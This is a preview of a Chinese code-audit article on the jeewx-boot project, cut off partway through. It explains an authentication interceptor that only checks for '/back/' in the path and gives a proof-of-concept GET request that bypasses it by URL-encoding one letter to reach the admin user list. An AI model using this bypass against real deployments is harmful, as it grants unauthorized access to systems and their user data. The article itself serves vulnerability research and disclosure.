今天看啥  ›  专栏  ›  黑白之道

『代码审计』jeewx-boot 代码审计

黑白之道  · 公众号  · 互联网安全  · 2024-08-14 09:55

文章预览

0x00 前言 在最近的挖洞过程中,遇到了一个 jeewx-boot ,发现其在 github 上有源码,就对该项目进行了代码审计。 0x01 未授权访问漏洞 这个项目 base-system 是主要的模块, JeewxBootApplication 是启动类。 查看 interceptors 的拦截器。 这里只是对用户请求的访问地址是否存在 /back/ 进行判断,根据之前的学习,在 spring mvc 的全版本中存在 url 编码的方式进行绕过。 web 验证: 对 c 进行 url 编码后,成功未授权。 poc : GET /jeewx/system/ba%63k/jwSystemUser/list.do HTTP/1.1 Host : 10.27.2.192 Pragma : no-cache Cache-Control : no-cache Upgrade-Insecure-Requests : 1 User-Agent : Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding : gzip, deflate Accep ………………………………

原文地址:访问原文地址
快照地址: 访问文章快照
总结与预览地址:访问总结与预览